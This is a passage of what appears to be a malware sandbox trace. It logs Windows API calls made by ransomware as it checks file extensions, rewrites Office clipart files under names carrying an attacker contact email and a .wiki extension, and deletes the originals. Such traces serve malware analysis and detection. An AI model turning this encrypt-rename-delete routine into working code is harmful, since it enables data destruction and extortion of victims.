lpString2=".WMF") returned 1 [0198.788] lstrlenW (lpString=".rar") returned 4 [0198.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString=".bz2") returned 4 [0198.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString=".7z") returned 3 [0198.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString=".dbf") returned 4 [0198.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.789] lstrlenW (lpString=".1cd") returned 4 [0198.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.789] lstrlenW (lpString=".jpg") returned 4 [0198.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.789] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.789] lstrlenW (lpString="J0153313.WMF") returned 12 [0198.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.789] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16952) returned 1 [0198.789] CloseHandle (hObject=0x1d0) returned 1 [0198.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0198.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.790] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.790] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.790] GetLastError () returned 0x0 [0198.790] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4238, lpOverlapped=0x0) returned 1 [0198.800] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4240, lpOverlapped=0x0) returned 1 [0198.801] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.801] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.801] SetEndOfFile (hFile=0x20c) returned 1 [0198.801] CloseHandle (hObject=0x20c) returned 1 [0198.802] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.802] SetEndOfFile (hFile=0x1d0) returned 1 [0198.802] CloseHandle (hObject=0x1d0) returned 1 [0198.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.803] lstrlenW (lpString=".doc") returned 4 [0198.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString=".docx") returned 5 [0198.803] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.803] lstrlenW (lpString=".pdf") returned 4 [0198.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString=".xls") returned 4 [0198.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.803] lstrlenW (lpString=".xlsx") returned 5 [0198.803] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.803] lstrlenW (lpString=".ppt") returned 4 [0198.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.803] lstrlenW (lpString=".zip") returned 4 [0198.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.803] lstrlenW (lpString=".rar") returned 4 [0198.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString=".bz2") returned 4 [0198.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString=".7z") returned 3 [0198.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.803] lstrlenW (lpString=".dbf") returned 4 [0198.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString=".1cd") returned 4 [0198.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString=".jpg") returned 4 [0198.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString=".doc") returned 4 [0198.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString=".docx") returned 5 [0198.804] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.804] lstrlenW (lpString=".pdf") returned 4 [0198.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString=".xls") returned 4 [0198.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.804] lstrlenW (lpString=".xlsx") returned 5 [0198.804] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.804] lstrlenW (lpString=".ppt") returned 4 [0198.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString=".zip") returned 4 [0198.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.804] lstrlenW (lpString=".rar") returned 4 [0198.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString=".bz2") returned 4 [0198.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.804] lstrlenW (lpString=".7z") returned 3 [0198.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.804] lstrlenW (lpString=".dbf") returned 4 [0198.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.805] lstrlenW (lpString=".1cd") returned 4 [0198.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0198.805] lstrlenW (lpString=".jpg") returned 4 [0198.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.805] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.805] lstrlenW (lpString="J0153508.WMF") returned 12 [0198.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.805] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=34256) returned 1 [0198.806] CloseHandle (hObject=0x1d0) returned 1 [0198.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0198.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.806] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.806] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.806] GetLastError () returned 0x0 [0198.806] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x85d0, lpOverlapped=0x0) returned 1 [0198.818] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x85e0, lpOverlapped=0x0) returned 1 [0198.819] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.819] SetEndOfFile (hFile=0x20c) returned 1 [0198.819] CloseHandle (hObject=0x20c) returned 1 [0198.819] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.819] SetEndOfFile (hFile=0x1d0) returned 1 [0198.820] CloseHandle (hObject=0x1d0) returned 1 [0198.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0198.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString=".doc") returned 4 [0198.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString=".docx") returned 5 [0198.821] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.821] lstrlenW (lpString=".pdf") returned 4 [0198.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString=".xls") returned 4 [0198.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.821] lstrlenW (lpString=".xlsx") returned 5 [0198.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.821] lstrlenW (lpString=".ppt") returned 4 [0198.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString=".zip") returned 4 [0198.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.821] lstrlenW (lpString=".rar") returned 4 [0198.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString=".bz2") returned 4 [0198.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString=".7z") returned 3 [0198.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString=".dbf") returned 4 [0198.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString=".1cd") returned 4 [0198.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.821] lstrlenW (lpString=".jpg") returned 4 [0198.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString=".doc") returned 4 [0198.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString=".docx") returned 5 [0198.822] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.822] lstrlenW (lpString=".pdf") returned 4 [0198.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString=".xls") returned 4 [0198.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.822] lstrlenW (lpString=".xlsx") returned 5 [0198.822] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.822] lstrlenW (lpString=".ppt") returned 4 [0198.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString=".zip") returned 4 [0198.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.822] lstrlenW (lpString=".rar") returned 4 [0198.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString=".bz2") returned 4 [0198.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString=".7z") returned 3 [0198.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString=".dbf") returned 4 [0198.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString=".1cd") returned 4 [0198.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0198.822] lstrlenW (lpString=".jpg") returned 4 [0198.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.823] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.823] lstrlenW (lpString="J0153516.WMF") returned 12 [0198.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.823] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7432) returned 1 [0198.823] CloseHandle (hObject=0x1d0) returned 1 [0198.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0198.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.823] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.928] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.944] GetLastError () returned 0x0 [0198.952] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1d08, lpOverlapped=0x0) returned 1 [0198.954] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1d10, lpOverlapped=0x0) returned 1 [0198.955] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.955] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.955] SetEndOfFile (hFile=0x1cc) returned 1 [0198.955] CloseHandle (hObject=0x1cc) returned 1 [0198.955] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.956] SetEndOfFile (hFile=0x1d0) returned 1 [0198.956] CloseHandle (hObject=0x1d0) returned 1 [0198.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.957] lstrlenW (lpString=".doc") returned 4 [0198.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.957] lstrlenW (lpString=".docx") returned 5 [0198.957] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0198.957] lstrlenW (lpString=".pdf") returned 4 [0198.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.957] lstrlenW (lpString=".xls") returned 4 [0198.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.957] lstrlenW (lpString=".xlsx") returned 5 [0198.957] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0198.957] lstrlenW (lpString=".ppt") returned 4 [0198.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.957] lstrlenW (lpString=".zip") returned 4 [0198.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.957] lstrlenW (lpString=".rar") returned 4 [0198.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.957] lstrlenW (lpString=".bz2") returned 4 [0198.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.957] lstrlenW (lpString=".7z") returned 3 [0198.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.957] lstrlenW (lpString=".dbf") returned 4 [0198.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.958] lstrlenW (lpString=".1cd") returned 4 [0198.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.958] lstrlenW (lpString=".jpg") returned 4 [0198.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.958] lstrlenW (lpString=".doc") returned 4 [0198.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString=".docx") returned 5 [0198.958] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0198.958] lstrlenW (lpString=".pdf") returned 4 [0198.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString=".xls") returned 4 [0198.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.958] lstrlenW (lpString=".xlsx") returned 5 [0198.958] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0198.958] lstrlenW (lpString=".ppt") returned 4 [0198.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.958] lstrlenW (lpString=".zip") returned 4 [0198.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.958] lstrlenW (lpString=".rar") returned 4 [0198.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString=".bz2") returned 4 [0198.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.958] lstrlenW (lpString=".7z") returned 3 [0198.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.959] lstrlenW (lpString=".dbf") returned 4 [0198.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.959] lstrlenW (lpString=".1cd") returned 4 [0198.959] lstrcmpiW 